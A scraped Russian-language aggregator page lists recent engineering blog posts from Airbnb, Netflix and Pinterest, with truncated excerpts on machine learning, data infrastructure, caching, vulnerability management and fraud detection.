Data Engineering
про инжиниринг данных и аналитику
🏢 %company% Engineering
AirBnb Engineering
последний пост 1 неделя назад
How AI Text Generation Models Are Reshaping Customer Support at Airbnb
How AI Text Generation Models Are Reshaping Customer Support at Airbnb How AI Text Generation Models Are Reshaping Customer Support at Airbnb

Leveraging text generation models to build more effective, scalable customer support products.Gavin Li, Mia Zhao and Zhenyu ZhaoOne of the fastest-growing areas in modern Artificial Intelligence (AI) is AI text generation models. As the name suggests, these models generate natural language. Previously, most industrial natural language processing (NLP) models were classifiers, or what might be called discriminative models in machine learning (ML) literature. However, in recent years, generative models based on large-scale language models are rapidly gaining traction and fundamentally changing how ML problems are formulated. Generative models can now obtain some domain knowledge through large…

1 неделя назад @ medium.com
Building Airbnb Categories with ML and Human-in-the-Loop
Building Airbnb Categories with ML and Human-in-the-Loop Building Airbnb Categories with ML and Human-in-the-Loop

Airbnb Categories Blog Series — Part IBy: Mihajlo Grbovic, Ying Xiao, Pratiksha Kadam, Aaron Yin, Pei Xiong, Dillon Davis, Aditya Mukherji, Kedar Bellare, Haowei Zhang, Shukun Yang, Chen Qian, Sebastien Dubois, Nate Ney, James Furnary, Mark Giangreco, Nate Rosenthal, Cole Baker, Bill Ulammandakh, Sid Reddy, Egor PakhomovFigure 1. Browsing listings by categories: Castles, Desert, Design, Beach & Countryside25 Years of Online Travel SearchOnline travel search hasn’t changed much in the last 25 years. The traveler enters her destination, dates, and the number of guests into a search interface, which dutifully returns a list of options that best meet the criteria. Eventually, Airbnb and other t…

1 неделя, 2 дня назад @ medium.com
Mussel — Airbnb’s Key-Value Store for Derived Data
Mussel — Airbnb’s Key-Value Store for Derived Data Mussel — Airbnb’s Key-Value Store for Derived Data

Mussel — Airbnb’s Key-Value Store for Derived DataHow Airbnb built a persistent, high availability and low latency key-value storage engine for accessing derived data from offline and streaming events.By: Chandramouli Rangarajan, Shouyan Guo, Yuxi JinIntroductionWithin Airbnb, many online services need access to derived data, which is data computed with large scale data processing engines like Spark or streaming events like Kafka and stored offline. These services require a high quality derived data storage system, with strong reliability, availability, scalability, and latency guarantees for serving online traffic. For example, the user profiler service stores and accesses real-time and hi…

1 месяц, 3 недели назад @ medium.com
Beyond A/B test : Speeding up Airbnb Search Ranking Experimentation through Interleaving
Beyond A/B test : Speeding up Airbnb Search Ranking Experimentation through Interleaving Beyond A/B test : Speeding up Airbnb Search Ranking Experimentation through Interleaving

Beyond A/B Test : Speeding up Airbnb Search Ranking Experimentation through InterleavingIntroduction of Airbnb interleaving experimentation framework, usage and approaches to address challenges in our unique businessQing Zhang, Michelle Du, Reid Andersen, Liwei HeIntroductionWhen a user searches for a place to stay on Airbnb, we aim to show them the best results possible. Airbnb’s relevance team actively works on improving search ranking experience and helps users to find and book listings that match their preference. A/B test is our approach for online assessment. Our business metrics are conversion-focused, and the frequency of guest travel transactions is lower than on other e-commerce p…

1 месяц, 3 недели назад @ medium.com
Upgrading Data Warehouse Infrastructure at Airbnb
Upgrading Data Warehouse Infrastructure at Airbnb Upgrading Data Warehouse Infrastructure at Airbnb

This blog aims to introduce Airbnb’s experience upgrading Data Warehouse infrastructure to Spark and Iceberg.By: Ronnie Zhu, Edgar Rodriguez, Jason Xu, Gustavo Torres, Kerim Oktay, Xu ZhangIntroductionIn this blog, we will introduce our motivations for upgrading our Data Warehouse Infrastructure to Spark 3 and Iceberg. We will briefly describe the current state of Airbnb data warehouse infrastructure and the challenges. We will then share our learnings from upgrading one critical production workload: event data ingestion. Finally, we will share the results and the lessons learned.ContextAirbnb’s Data Warehouse (DW) storage was previously migrated from legacy HDFS clusters to S3 to provide b…

2 месяца назад @ medium.com
How Airbnb safeguards changes in production
How Airbnb safeguards changes in production How Airbnb safeguards changes in production

Part II: Near Real-time ExperimentsBy: Mike Lin, Preeti Ramasamy, Toby Mao, Zack Loebel-BegelmanIn our first post we discussed the need for a near real time Safe Deploy system and some of the statistics that power its decisions. In this post we will cover the architecture and engineering choices behind the various components that Safe Deploys comprises.Designing a near real-time experimentation system required making explicit tradeoffs among speed, precision, cost, and resiliency. An early decision was to limit near real-time results to only the first 24 hours of an experiment — enough time to catch any major issues and transition to using comprehensive results from the batch pipeline. The …

2 месяца, 3 недели назад @ medium.com
My Journey to Airbnb — Veerabahu Chandran
My Journey to Airbnb — Veerabahu Chandran My Journey to Airbnb — Veerabahu Chandran

My Journey to Airbnb — Veerabahu ChandranLearning and growing in Airbnb’s new Bangalore Tech CenterVeera Chandran is an engineer in Airbnb’s new Bangalore Tech Center, where his team builds out technical systems to support hosts. As a lifelong learner, he has a passion for exploring new technologies and diving into practical problems. He’s excited to be tackling both the technical challenges of building new architecture and the organizational challenges of building out the capabilities of a new office.Here’s Veera’s story:Learning and exploringI grew up in Tamil Nadu, in the South of India. I was always a curious kid, trying to understand how everything worked, so when it came to choosing a…

3 месяца, 2 недели назад @ medium.com
Sisyphus and the CVE Feed: Vulnerability Management at Scale
Sisyphus and the CVE Feed: Vulnerability Management at Scale Sisyphus and the CVE Feed: Vulnerability Management at Scale

AuthorsKeziah Perez Sonder Plattner, Senior Software EngineerKadia Mashal, Engineering ManagerIntroductionEvery engineer knows that security is a never-ending problem. Until we delete all our code and move into a cottage in the woods, we have to accept that there is no such thing as 100% secure software. You could be doing everything perfectly, and a publicly known vulnerability (CVE) could emerge for the most updated version of a third party library in your infrastructure. Things are secure until they are not. Like with Sisyphus, the boulder will never reach the top of the hill.Rather than eliminating vulnerabilities, the goal of a vulnerability management program should be to quickly and …

3 месяца, 3 недели назад @ medium.com
Airbnb’s Approach to Access Management at Scale
Airbnb’s Approach to Access Management at Scale Airbnb’s Approach to Access Management at Scale

How Airbnb securely manages permissions for our large team of employees, contractors, and call center staff.By: Paul BramsenIntroductionAirbnb is a company that is built on trust. An important piece of this trust comes from protecting the data that our guests and hosts have shared with us. One of the ways we do this is by following the principle of least privilege. Least privilege dictates that–in an ideal world–an employee has the exact permissions they need at the moment their job requires them. Nothing more, nothing less. Anything more introduces unnecessary risk–whether from a malicious employee, compromised laptop, or even just an honest mistake. Anything less inhibits productivity.Not…

3 месяца, 3 недели назад @ medium.com
Incident Management
Incident Management Incident Management

Automated Incident Management Through SlackHow Airbnb automates incident management in a world of complex, rapidly evolving ensemble of microservices.Vlad VassilioukIncident ManagementIncidents are unforeseeable events that disrupt normal business operations and are inevitable in complex systems that must be up and running 24/7. This is why it’s important to prepare and to train people to handle incidents in a timely and organized manner. Although each incident is unique, we follow the same procedure for detection, escalation, management, and resolution of incidents.At Airbnb, we utilize a service oriented infrastructure which involves many interconnected services managed by small teams. Qu…

4 месяца назад @ medium.com
My Journey to Airbnb — Beti Gathegi
My Journey to Airbnb — Beti Gathegi My Journey to Airbnb — Beti Gathegi

My Journey to Airbnb — Beti GathegiFrom exploring careers across continents to now helping others find their place at Airbnb.After trying a series of careers ranging from television production to university communications and marketing, Beti Gathegi works as a Senior Program Manager on the TechED (technical education) team at Airbnb. When she’s not lurking in the #bookworms Airbnb Slack channel, you can find Beti leading Bootcamp, our onboarding program for new technical hires, which takes engineers and data scientists through their first commit at Airbnb. Before this role, Beti was a recruiting program manager for Connect, Airbnb’s engineering apprenticeship program targeted at people from…

4 месяца, 1 неделя назад @ medium.com
How Airbnb Safeguards Changes in Production
How Airbnb Safeguards Changes in Production How Airbnb Safeguards Changes in Production

Part I: Evolution of Airbnb’s experimentation platformBy: Michael Lin, Toby Mao, Zack Loebel-BegelmanIntroductionAs Airbnb has grown to a company with over 1,200 developers, the number of platforms and channels for pushing changes to our product — and the number of daily changes we push into production — has also grown tremendously. In the face of this growth, we constantly need to scale our ability to detect errors before they reach production. However, errors inevitably slip past pre-production validation, so we also invest heavily in mechanisms to detect errors quickly when they do make it to production. In this blog post we will cover the motivations and foundations for a system for saf…

4 месяца, 3 недели назад @ medium.com
T-LEAF: Taxonomy Learning and EvaluAtion Framework
T-LEAF: Taxonomy Learning and EvaluAtion Framework T-LEAF: Taxonomy Learning and EvaluAtion Framework

How we applied qualitative learning, human labeling and machine learning to iteratively develop Airbnb’s Community Support Taxonomy.By: Mia Zhao, Peggy Shao, Maggie Hanson, Peng Wang, Bo ZengBackgroundTaxonomies are knowledge organization systems used to classify and organize information. Taxonomies use words to describe things — as opposed to numbers or symbols — and hierarchies to group things into categories. The structure of a taxonomy expresses how those things relate to each other. For instance, a Superhost is a type of Host and a Host is a type of Airbnb User. Taxonomies provide vital terminology control and enable downstream systems to navigate information and analyze consistent, st…

5 месяцев, 1 неделя назад @ medium.com
Airbnb’s Trip to Linaria
Airbnb’s Trip to Linaria Airbnb’s Trip to Linaria

Learn how Linaria, Airbnb’s newest choice for web styling, improved both developer experience and web performanceCSS is a critical component of every web application, and many solutions have evolved for how styles are written by developers and delivered to visitors. In this post we’ll take you through Airbnb’s journey from Sass to CSS-in-JS and show you why we landed on Linaria, a zero-runtime CSS-in-JS library, and the impact it has had on the developer experience and performance of Airbnb’s web app.From Sass to CSS-in-JSIn 2016, our web frontend was in a monolithic Ruby on Rails app using a combination of Sprockets, Browserify, and Sass. We had a Bootstrap-inspired internal toolkit for st…

5 месяцев, 2 недели назад @ medium.com
Graph Machine Learning at Airbnb
Graph Machine Learning at Airbnb Graph Machine Learning at Airbnb

How Airbnb is leveraging graph neural networks to up-level our machine learningBy: Devin SoniIntroductionMany real-world machine learning problems can be framed as graph problems. On online platforms, users often share assets (e.g. photos) and interact with each other (e.g. messages, bookings, reviews). These connections between users naturally form edges that can be used to create a graph.However, in many cases, machine learning practitioners do not leverage these connections when building machine learning models, and instead treat nodes (in this case, users) as completely independent entities. While this does simplify things, leaving out information around a node’s connections may reduce …

5 месяцев, 2 недели назад @ medium.com
Netflix Engineering Netflix Engineering
последний пост 1 неделя, 6 дней назад
For your eyes only: improving Netflix video quality with neural networks
For your eyes only: improving Netflix video quality with neural networks For your eyes only: improving Netflix video quality with neural networks

by Christos G. Bampis, Li-Heng Chen and Zhi LiWhen you are binge-watching the latest season of Stranger Things or Ozark, we strive to deliver the best possible video quality to your eyes. To do so, we continuously push the boundaries of streaming video quality and leverage the best video technologies. For example, we invest in next-generation, royalty-free codecs and sophisticated video encoding optimizations. Recently, we added another powerful tool to our arsenal: neural networks for video downscaling. In this tech blog, we describe how we improved Netflix video quality with neural networks, the challenges we faced and what lies ahead.How can neural networks fit into Netflix video encodin…

1 неделя, 6 дней назад @ netflixtechblog.com
Match Cutting at Netflix: Finding Cuts with Smooth Visual Transitions
Match Cutting at Netflix: Finding Cuts with Smooth Visual Transitions Match Cutting at Netflix: Finding Cuts with Smooth Visual Transitions

By Boris Chen, Kelli Griggs, Amir Ziai, Yuchen Xie, Becky Tucker, Vi Iyengar, Ritwik KumarCreating Media with Machine Learning episode 1IntroductionAt Netflix, part of what we do is build tools to help our creatives make exciting videos to share with the world. Today, we’d like to share some of the work we’ve been doing on match cuts.https://medium.com/media/f0a78d7f38bd14f60761a93c160f92bd/hrefIn film, a match cut is a transition between two shots that uses similar visual framing, composition, or action to fluidly bring the viewer from one scene to the next. It is a powerful visual storytelling tool used to create a connection between two scenes.[Spoiler alert] consider this scene from Squ…

1 неделя, 6 дней назад @ netflixtechblog.com
Helping VFX studios pave a path to the cloud
Helping VFX studios pave a path to the cloud Helping VFX studios pave a path to the cloud

By: Peter Cioni (Netflix), Alex Schworer (Netflix), Mac Moore (Conductor Tech.), Rachel Kelley (AWS), Ranjit Raju (AWS)Rendering is core to the the VFX processVFX studios around the world create amazing imagery for Netflix productions. Nearly every show that is produced today includes digital visual effects, from the creatures in Stranger Things, to recreating historic London in Bridgerton.Netflix production teams work with a global roster of VFX studios (both large and small) and their artists to create this amazing imagery. But it’s not easy: to pull this off, VFX studios need to build and operate serious technical infrastructure (compute, storage, networking, and software licensing), oth…

2 недели, 1 день назад @ netflixtechblog.com
New Series: Creating Media with Machine Learning
New Series: Creating Media with Machine Learning New Series: Creating Media with Machine Learning

By Vi Iyengar, Keila Fong, Hossein Taghavi, Andy Yao, Kelli Griggs, Boris Chen, Cristina Segalin, Apurva Kansara, Grace Tang, Billur Engin, Amir Ziai, James Ray, Jonathan Solorzano-HamiltonWelcome to the first post in our multi-part series on how Netflix is developing and using machine learning (ML) to help creators make better media — from TV shows to trailers to movies to promotional art and so much more.Media is at the heart of Netflix. It’s our medium for delivering a range of emotions and experiences to our members. Through each engagement, media is how we bring our members continued joy.This blog series will take you behind the scenes, showing you how we use the power of machine learn…

2 недели, 5 дней назад @ netflixtechblog.com
Machine Learning for Fraud Detection in Streaming Services
Machine Learning for Fraud Detection in Streaming Services Machine Learning for Fraud Detection in Streaming Services

By Soheil Esmaeilzadeh, Negin Salajegheh, Amir Ziai, Jeff BooteIntroductionStreaming services serve content to millions of users all over the world. These services allow users to stream or download content across a broad category of devices including mobile phones, laptops, and televisions. However, some restrictions are in place, such as the number of active devices, the number of streams, and the number of downloaded titles. Many users across many platforms make for a uniquely large attack surface that includes content fraud, account fraud, and abuse of terms of service. Detection of fraud and abuse at scale and in real-time is highly challenging.Data analysis and machine learning techniq…

2 недели, 5 дней назад @ netflixtechblog.com
Seeing through hardware counters: a journey to threefold performance increase
Seeing through hardware counters: a journey to threefold performance increase Seeing through hardware counters: a journey to threefold performance increase

By Vadim Filanovsky and Harshad SaneIn one of our previous blogposts, A Microscope on Microservices we outlined three broad domains of observability (or “levels of magnification,” as we referred to them) — Fleet-wide, Microservice and Instance. We described the tools and techniques we use to gain insight within each domain. There is, however, a class of problems that requires an even stronger level of magnification going deeper down the stack to introspect CPU microarchitecture. In this blogpost we describe one such problem and the tools we used to solve it.The problemIt started off as a routine migration. At Netflix, we periodically reevaluate our workloads to optimize utilization of avail…

3 недели назад @ netflixtechblog.com
Consistent caching mechanism in Titus Gateway
Consistent caching mechanism in Titus Gateway Consistent caching mechanism in Titus Gateway

by Tomasz Bak and Fabio KungIntroductionTitus is the Netflix cloud container runtime that runs and manages containers at scale. In the time since it was first presented as an advanced Mesos framework, Titus has transparently evolved from being built on top of Mesos to Kubernetes, handling an ever-increasing volume of containers. As the number of Titus users increased over the years, the load and pressure on the system increased substantially. The original assumptions and architectural choices were no longer viable. This blog post presents how our current iteration of Titus deals with high API call volumes by scaling out horizontally.We introduce a caching mechanism in the API gateway layer,…

3 недели, 6 дней назад @ netflixtechblog.com
Orchestrating Data/ML Workflows at Scale With Netflix Maestro
Orchestrating Data/ML Workflows at Scale With Netflix Maestro Orchestrating Data/ML Workflows at Scale With Netflix Maestro

by Jun He, Akash Dwivedi, Natallia Dzenisenka, Snehal Chennuru, Praneeth Yenugutala, Pawan DixitAt Netflix, Data and Machine Learning (ML) pipelines are widely used and have become central for the business, representing diverse use cases that go beyond recommendations, predictions and data transformations. A large number of batch workflows run daily to serve various business needs. These include ETL pipelines, ML model training workflows, batch jobs, etc. As Big data and ML became more prevalent and impactful, the scalability, reliability, and usability of the orchestrating ecosystem have increasingly become more important for our data scientists and the company.In this blog post, we introd…

1 месяц, 1 неделя назад @ netflixtechblog.com
How Product Teams Can Build Empathy Through Experimentation
How Product Teams Can Build Empathy Through Experimentation How Product Teams Can Build Empathy Through Experimentation

A conversation between Travis Brooks, Netflix Product Manager for Experimentation Platform, and George Khachatryan, OfferFit CEONote: I’ve known George for a little while now, and as we’ve talked a lot about the philosophy of experimentation, he kindly invited me to their office (virtually) for their virtual speaker series. We had a fun conversation with his team, and we realized that some parts of it might make a good blog post as well. So we jointly edited a bit for length and clarity, and are posting here as well as on OfferFit’s blog. Hope you enjoy the result. — Travis B.George Khachatryan: Travis, could you tell us a bit about your background and how you came to your current role?Trav…

1 месяц, 2 недели назад @ netflixtechblog.com
Timestone: Netflix’s High-Throughput, Low-Latency Priority Queueing System with Built-in Support…
Timestone: Netflix’s High-Throughput, Low-Latency Priority Queueing System with Built-in Support… Timestone: Netflix’s High-Throughput, Low-Latency Priority Queueing System with Built-in Support…

Timestone: Netflix’s High-Throughput, Low-Latency Priority Queueing System with Built-in Support for Non-Parallelizable Workloadsby Kostas ChristidisIntroductionTimestone is a high-throughput, low-latency priority queueing system we built in-house to support the needs of Cosmos, our media encoding platform. Over the past 2.5 years, its usage has increased, and Timestone is now also the priority queueing engine backing Conductor, our general-purpose workflow orchestration engine, and BDP Scheduler, the scheduler for large-scale data pipelines. All in all, millions of critical workflows within Netflix now flow through Timestone on a daily basis.Timestone clients can create queues, enqueue mes…

2 месяца назад @ netflixtechblog.com
Reinforcement Learning for Budget Constrained Recommendations
Reinforcement Learning for Budget Constrained Recommendations Reinforcement Learning for Budget Constrained Recommendations

by Ehtsham Elahiwith James McInerney, Nathan Kallus, Dario Garcia Garcia and Justin BasilicoIntroductionThis writeup is about using reinforcement learning to construct an optimal list of recommendations when the user has a finite time budget to make a decision from the list of recommendations. Working within the time budget introduces an extra resource constraint for the recommender system. It is similar to many other decision problems (for e.g. in economics and operations research) where the entity making the decision has to find tradeoffs in the face of finite resources and multiple (possibly conflicting) objectives. Although time is the most important and finite resource, we think that i…

3 месяца, 1 неделя назад @ netflixtechblog.com
Virtual Production — A Validation Framework For Unreal Engine
Virtual Production — A Validation Framework For Unreal Engine Virtual Production — A Validation Framework For Unreal Engine

Virtual Production — A Validation Framework For Unreal EngineBy Adam Davis, Jimmy Fusil, Bhanu Srikanth and Girish BalakrishnanGame Engines in Virtual ProductionThe use of Virtual Production and real time technologies has markedly accelerated in the past few years. At Netflix, we are always thrilled to see technology enable new ways of telling stories, and the use of these techniques on some of our shows like 1899 and Super Giant Robot Brothers has given us a front row seat to this exciting evolution in filmmaking. Each production that deploys these methods is an opportunity for the crew, tech manufacturers and us–the Netflix Production Innovation team–to learn, innovate and collaborate tow…

3 месяца, 3 недели назад @ netflixtechblog.com
Data Mesh — A Data Movement and Processing Platform @ Netflix
Data Mesh — A Data Movement and Processing Platform @ Netflix Data Mesh — A Data Movement and Processing Platform @ Netflix

Data Mesh — A Data Movement and Processing Platform @ NetflixBy Bo Lei, Guilherme Pires, James Shao, Kasturi Chatterjee, Sujay Jain, Vlad SydorenkoBackgroundRealtime processing technologies (A.K.A stream processing) is one of the key factors that enable Netflix to maintain its leading position in the competition of entertaining our users. Our previous generation of streaming pipeline solution Keystone has a proven track record of serving multiple of our key business needs. However, as we expand our offerings and try out new ideas, there’s a growing need to unlock other emerging use cases that were not yet covered by Keystone. After evaluating the options, the team has decided to create Data…

4 месяца назад @ netflixtechblog.com
Formulating ‘Out of Memory Kill’ Prediction on the Netflix App as a Machine Learning Problem
Formulating ‘Out of Memory Kill’ Prediction on the Netflix App as a Machine Learning Problem Formulating ‘Out of Memory Kill’ Prediction on the Netflix App as a Machine Learning Problem

by Aryan Mehrawith Farnaz Karimdady Sharifabad, Prasanna Vijayanathan, Chaïna Wade, Vishal Sharma and Mike SchassbergerAim and Purpose — Problem StatementThe purpose of this article is to give insights into analyzing and predicting “out of memory” or OOM kills on the Netflix App. Unlike strong compute devices, TVs and set top boxes usually have stronger memory constraints. More importantly, the low resource availability or “out of memory” scenario is one of the common reasons for crashes/kills. We at Netflix, as a streaming service running on millions of devices, have a tremendous amount of data about device capabilities/characteristics and runtime data in our big data platform. With large …

4 месяца, 1 неделя назад @ netflixtechblog.com
How Netflix Content Engineering makes a federated graph searchable (Part 2)
How Netflix Content Engineering makes a federated graph searchable (Part 2) How Netflix Content Engineering makes a federated graph searchable (Part 2)

By Alex Hutter, Falguni Jhaveri, and Senthil SayeebabaIn a previous post, we described the indexing architecture of Studio Search and how we scaled the architecture by building a config-driven self-service platform that allowed teams in Content Engineering to spin up search indices easily.This post will discuss how Studio Search supports querying the data available in these indices.Data consumption from Studio Search DGSIntroductionWhen we say Content Engineering teams are interested in searching against the federated graph, the use-case is mainly focused on known-item search (a user has an item or items in mind they are trying to view or navigate to but need to use an external information …

5 месяцев, 2 недели назад @ netflixtechblog.com
Pinterest Engineering
последний пост 2 недели, 2 дня назад
Flexible Daily Budgeting at Pinterest
Flexible Daily Budgeting at Pinterest Flexible Daily Budgeting at Pinterest

Kelvin Jiang, Software Engineer, Ads Intelligence | Keshava Subramanya, Engineering Manager, Ads Intelligence | Perrye Ogunwole, Product Manager, Ads IntelligenceIntroductionThe Ads Intelligence team at Pinterest builds products that help advertisers maximize the value they get out of their ad campaigns. As part of that initiative, we have recently launched Flexible Daily Budgets (FDB) to US advertisers in open beta.Figure 1: Flexible daily budgets option in the campaign create flowFDB is an automated ads product that benefits advertisers by distributing the advertising budget for each campaign across multiple days in an automated manner. The goals of this product are to:Enable advertisers …

2 недели, 2 дня назад @ medium.com
How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume
How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume

Xue Xia, Software Engineer, Homefeed Ranking; Neng Gu, Software Engineer, Content & User Understanding; Dhruvil Deven Badani, Engineering Manager, Homefeed Ranking; Andrew Zhai, Software Engineer, Advanced Technologies GroupImage from https://wallpapercave.com/neural-networks-wallpapers#google_vignetteIn this blog post, we will demonstrate how we improved Pinterest Homefeed engagement volume from a machine learning model design perspective — by leveraging realtime user action features in Homefeed recommender system.BackgroundThe Homepage of Pinterest is the one of most important surfaces for pinners to discover inspirational ideas and contributes to a large fraction of overall user engageme…

3 недели, 5 дней назад @ medium.com
Watch your Manifest
Watch your Manifest Watch your Manifest

Lin Wang | Android Performance EngineerDesigned by AJ Oxendine | Software EngineerIt’s a well-known fact for Android developers that an app’s manifest (AndroidManifest.xml) holds crucial application declarations. It is rarely monitored after being set up because we assume it hardly ever changes. At Pinterest, however, we have been actively monitoring the manifest after realizing it does change every so often.While building an app, Gradle downloads all the dependent libraries to compile and link them with the app. These dependent libraries each have their own mini manifest. During the build process, Android Gradle Plugin (AGP) merges them with the app’s main manifest to form the final manife…

1 месяц назад @ medium.com
Query Rewards: Building a Recommendation Feedback Loop During Query Selection
Query Rewards: Building a Recommendation Feedback Loop During Query Selection Query Rewards: Building a Recommendation Feedback Loop During Query Selection

Bella Huang | Software Engineer, Home Candidate Generation; Raymond Hsu | Engineer Manager, Home Candidate Generation; Dylan Wang | Engineer Manager, Home RelevanceIn Homefeed, ~30% of recommended pins come from pin to pin-based retrieval. This means that during the retrieval stage, we use a batch of query pins to call our retrieval system to generate pin recommendations. We typically use a user’s previously engaged pins, and a user may have hundreds (or thousands!) of engaged pins, so a key problem for us is: how do we select the right query pins from the user’s profile?User Profiling with PinnerSAGE OverviewAt Pinterest, we use PinnerSAGE as the main source of a user’s pin profile. Pinner…

1 месяц назад @ medium.com
My Summer as a Software Engineering Intern at Pinterest Toronto!
My Summer as a Software Engineering Intern at Pinterest Toronto! My Summer as a Software Engineering Intern at Pinterest Toronto!

Khubi Shah | (former) Software Engineer Intern, Shopping Content MiningThis summer, I had the incredible opportunity to intern at the one and only Pinterest from the new engineering hub in Toronto!I am a final year undergraduate student from the University of Waterloo, majoring in Computer Science with an AI specialization. Growing up, Pinterest was always my go-to social media platform, as it inspired me with new ideas for food, fashion, design, or anything creative! As a result, when I was given the opportunity to join as a Software Engineering Intern this summer in Toronto, I was beyond thrilled to be a part of the company mission: to bring everyone the inspiration to create a life they …

1 месяц, 2 недели назад @ medium.com
Online Data Migration from HBase to TiDB with Zero Downtime
Online Data Migration from HBase to TiDB with Zero Downtime Online Data Migration from HBase to TiDB with Zero Downtime

Ankita Girish Wagh | Senior Software Engineer, Storage and CachingIntroduction and MotivationAt Pinterest, HBase is one of the most critical storage backends, powering many online storage services like Zen (graph database), UMS (wide column datastore), and Ixia (near real time secondary indexing service). The HBase Ecosystem, though having various advantages like strong consistency at row level in high volume requests, flexible schema, low latency access to data, Hadoop integration, etc. cannot serve the needs of our clients for the next 3–5 years. This is due to high operational cost, excessive complexity, and missing functionalities like secondary indexes, support for transactions, etc.Af…

3 месяца, 2 недели назад @ medium.com
GPU-accelerated ML Inference at Pinterest
GPU-accelerated ML Inference at Pinterest GPU-accelerated ML Inference at Pinterest

Unlocking 16% Homefeed Engagement by Serving 100x Bigger Recommender ModelsPong Eksombatchai | Software Engineer, Advanced Technology Group; Zhiyuan Zhang | Engineering Manager, ML Serving PlatformsImage from https://unsplash.com/photos/vWgoeEYdtIYWe enabled serving 100x larger recommender models at Pinterest by transitioning our machine learning serving from CPU to GPU — increasing Homefeed Pinner engagement by 16% through a step function improvement in model quality. In this blog post, we’ll share our optimizations to achieve this at neutral cost and latency, including optimizing individual ops, consolidating memory transfers, executing static graphs on-device through CUDA Graphs, and ret…

3 месяца, 4 недели назад @ medium.com
Debugging Ad Delivery At Pinterest
Debugging Ad Delivery At Pinterest Debugging Ad Delivery At Pinterest

Nishant Roy | Engineering Manager, Ads Serving PlatformIntro & BackgroundThe Pinterest ads serving platform delivered >$2.5 billion in ad spend in 2021 from thousands of advertisers. Our customer operations team receives 600+ tickets on average every month from advertisers who are looking to understand their performance on our platform. One of the most common questions we receive is why a particular advertiser/ad campaign is not fully utilizing its budget. This question requires a deep analysis of an ad recommendation system consisting of 5+ microservices, 1M+ lines of code, and 100+ active developers, serving >90 million requests everyday. This blog describes how we built a system to swift…

5 месяцев, 1 неделя назад @ medium.com
Estimating Potential Audience Size of an Ad at Pinterest
Estimating Potential Audience Size of an Ad at Pinterest Estimating Potential Audience Size of an Ad at Pinterest

Chanheum (Sean) Cho | ML Engineer, Ads Intelligence; Ruixin Qiang |ML Engineer, Ads Intelligence; Keshava Subramanya |Engineering Manager, Ads IntelligenceIntroductionUnderstanding the size of the potential audience of an ad is an important consideration for an advertiser. It enables advertisers to estimate the total population who might be interested in the products or services they advertise and plan their budgets ahead of time. The Ads Intelligence team at Pinterest provides a service called Potential Audience Size in the Ads Manager, so the advertisers can understand their target audience size while they configure their ad groups. The service updates the estimate in real time as the aud…

5 месяцев, 4 недели назад @ medium.com
Improving Distributed Caching Performance and Efficiency at Pinterest
Improving Distributed Caching Performance and Efficiency at Pinterest Improving Distributed Caching Performance and Efficiency at Pinterest

Kevin Lin | Software Engineer, Storage and CachingIntroductionPinterest’s distributed caching system, built on top of open source technologies memcached and mcrouter, is a critical component of the production infrastructure stack. Pinterest’s cache-as-a-service platform is responsible for driving down application latency across the board, reducing the overall cloud cost footprint, and ensuring adherence to strict sitewide availability targets.Today, Pinterest’s memcached fleet spans over 5000 EC2 instances across a variety of instance types optimized along compute, memory, and storage dimensions. Collectively, the fleet serves up to ~180 million requests per second and ~220 GB/s of network …

6 месяцев, 3 недели назад @ medium.com
Manas HNSW Streaming Filters
Manas HNSW Streaming Filters Manas HNSW Streaming Filters

George Wu | Software Engineer, Core Product Serving Infra; Tim Koh | Software Engineer, Core Product Serving InfraIntroductionEmbedding-based retrieval is a core center piece of our recommendations engine at Pinterest. We support a myriad of use cases, from retrieval based on content similarity to learned retrieval. It’s powered by our in-house search engine — Manas — which provides Approximate Nearest Neighbor (ANN) search as a service, primarily using Hierarchical Navigable Small World graphs (HNSW).While traditional token-based search retrieves documents on term matching on a tree of terms with logical connectives like ANDs and ORs, ANN search retrieves based on embedding similarity. Oft…

6 месяцев, 4 недели назад @ medium.com
NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest
NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest

Prabhat Agarwal | Research ScientistWatch Prabhat Agarwal’s talk from the NVIDIA GTC Conference on March 23, 2022.https://medium.com/media/c160a4c48af4ff09c6ed83e10d26a5e8/hrefTo learn more about engineering at Pinterest, check out the rest of our Engineering Blog, and visit our Pinterest Labs site. To view and apply to open opportunities, visit our Careers page.NVIDIA 2022 Talk: Evolution of Web-Scale Engagement Modeling at Pinterest was originally published in Pinterest Engineering Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

7 месяцев, 2 недели назад @ medium.com
Presentamos PinFlex: el modelo de Pinterest para el futuro en el trabajo
Presentamos PinFlex: el modelo de Pinterest para el futuro en el trabajo Presentamos PinFlex: el modelo de Pinterest para el futuro en el trabajo

Jeremy King | Sr Vice Presidente, ingenieríaThis article was originally published in English. Read the English version here.Hace dos años, estaba terminando mi primer año en Pinterest como Vicepresidente Sénior. Nuestras oficinas cerraron y el trabajo y la vida, como los conocíamos, cambiaron de golpe. Al adaptarnos a los cambios drásticos a nuestro alrededor, aprendimos mucho sobre el trabajo y sobre lo que no era un lugar de trabajo. Los beneficios del trabajo flexible y nuestra capacidad de ser productivos desde cualquier lugar dieron muchas ventajas a nuestros empleos, ya que se eliminaron largos viajes al trabajo y pudimos estar mucho más presentes en los momentos importantes de nuestr…

7 месяцев, 3 недели назад @ medium.com
How Pinterest built its Trust & Safety team
How Pinterest built its Trust & Safety team How Pinterest built its Trust & Safety team

Maisy Samuelson | Head of Trust & Safety Product“Inch by inch, row by row, I’m gonna make this garden grow” — Garden Song by Peter, Paul & MarySince I started working on Trust & Safety four years ago, the team has grown quickly and learned a lot about how to protect Pinners from spam and account takeovers as well as unsafe content like nudity, self-harm, hate speech, and harassment.Back in 2017, the Trust & Safety team (like Pinterest itself) was small and spent a lot of time fighting attacks. During attacks we scrambled to figure out product nuances, where and how data was stored, wait for queries to run, write scripts to update production databases and fix issues in user accounts, all und…

7 месяцев, 3 недели назад @ medium.com
Introducing PinFlex: Pinterest’s model for the Future of Work
Introducing PinFlex: Pinterest’s model for the Future of Work Introducing PinFlex: Pinterest’s model for the Future of Work

